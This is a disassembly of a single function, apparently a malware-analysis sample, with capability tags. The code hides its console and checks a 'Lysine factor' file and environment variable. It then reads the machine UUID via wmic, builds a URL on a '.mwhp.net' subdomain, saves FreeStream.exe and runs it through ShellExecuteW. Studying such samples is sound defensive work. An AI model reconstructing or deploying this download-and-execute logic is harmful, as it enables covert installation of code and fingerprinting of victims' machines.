Function at 0x4011c0
Capabilities:
Create process on windows
Get common file path
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x179c
call fcn.004023e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1788], eax
mov dword [ebp - 0x177c], 0
mov dword [ebp - 0x179c], str.download
mov dword [ebp - 0x1798], str.sport
mov dword [ebp - 0x1794], str.stream
mov dword [ebp - 0x1790], str.video
mov dword [ebp - 0x178c], str.update
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
push 0
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4031ec
lea eax, [ebp - 0x1774]
mov dword [ebp - 0x1780], 0
push eax
lea eax, [ebp - 0x1780]
mov dword [ebp - 0x1774], 0
push eax
mov dword [ebp - 0x1784], 0
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x4015c2
mov eax, dword [ebp - 0x1780]
test eax, eax
je 0x4015c2
mov ecx, 0x4031f0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4012a6
test dl, dl
je 0x4012a2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4012a6
add eax, 2
add ecx, 2
test dl, dl
jne 0x401286
xor eax, eax
jmp 0x4012ab
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4015c2
push 0x403244
lea eax, [ebp - 0x1784]
push str.c:lysina.txt
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x4012e2
push 0x30
push str.Info_
push str.Lysine_factor_is_missing__nPlease_create_the_C:lysina.txt_file__can_be_empty_or_containing_anything__
jmp 0x4015ce
push ebx
push esi
push edi
push dword [ebp - 0x1784]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push 4
push str.wmic
lea eax, [ebp - 0x68]
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat_s]
lea eax, [ebp - 0x68]
push 0xb
push str._csproduct
push 0x64
push eax
call esi
push 4
push str.get
lea eax, [ebp - 0x68]
push 0x64
push eax
call esi
push 4
push str.UUID
lea eax, [ebp - 0x68]
push 0x64
push eax
call esi
add esp, 0x44
lea eax, [ebp - 0x68]
push 0x4031d4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edi, eax
add esp, 8
test edi, edi
je 0x4013da
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
lea eax, [ebp - 0x518]
push edi
push 0x63
push eax
call ebx
add esp, 0xc
test eax, eax
je 0x401385
lea esi, [ebp - 0x518]
push edi
add esi, 0x64
push 0x63
push esi
call ebx
add esp, 0xc
test eax, eax
jne 0x401375
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0xcc]
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea ecx, [ebp - 0xcc]
add esp, 0x10
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013b0
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
lea esi, [ebp - 0xcc]
sub ecx, edx
add esi, ecx
movsx eax, byte [esi - 1]
mov edi, esi
dec esi
push eax
call ebx
add esp, 4
test eax, eax
jne 0x4013c7
mov byte [edi], al
lea ecx, [ebp - 0xcc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013e3
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea eax, [ebp - 0xcc]
push 0xffffffffffffffff
push eax
sub ecx, edx
lea eax, [ebp - 0x25c]
push ecx
push eax
lea eax, [ebp - 0x1778]
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x68]
push 0x64
push eax
push 0x70
push dword [ebp - 0x1788]
call dword [sym.imp.USER32.dll_LoadStringA]
test eax, eax
jne 0x40142e
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea eax, [ebp - 0x68]
push 0x2e
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
inc eax
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
mov edi, eax
lea eax, [ebp - 0x177c]
push eax
push 0
push 0x8000
push 0x403198
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x4015d6
push dword [ebp - 0x177c]
lea eax, [ebp - 0x1770]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [ebp - 0x1770]
push str.Free
push 0x800
push eax
call esi
push str.Stream
lea eax, [ebp - 0x1770]
push 0x800
push eax
call esi
push str..exe
lea eax, [ebp - 0x1770]
push 0x800
push eax
call esi
add esp, 0x30
push dword [ebp - 0x177c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [ebp - 0xcc]
push eax
push str..dat_q
push edi
push 0x40333c
push str.FreeStream
push 0x40334c
push str.__s__s_s_d_s_s
lea eax, [ebp - 0x388]
push 0x12c
push eax
call fcn.00401010
lea ecx, [ebp - 0x388]
add esp, 0x24
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401510
push 0xffffffffffffffff
lea eax, [ebp - 0x388]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x770]
push eax
lea eax, [ebp - 0x1778]
push eax
call ebx
mov eax, 0x66666667
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*4]
sub edi, eax
lea eax, [ebp - 0x194]
push dword [ebp + edi*4 - 0x179c]
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
push str..mwhp.net
lea eax, [ebp - 0x194]
push 0x64
push eax
call esi
add esp, 0x28
lea eax, [ebp - 0x25c]
lea edx, [ebp - 0x770]
lea ecx, [ebp - 0x194]
push eax
lea eax, [ebp - 0x1770]
push eax
call fcn.00401050
add esp, 0xc
lea eax, [ebp - 0x1770]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004015df
mov esp, ebp
pop ebp
ret 0x10
push 0x30
push str.Info_
push str.Lysine_factor_is_missing__nSet_the_REM_environment_variable_to_y_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3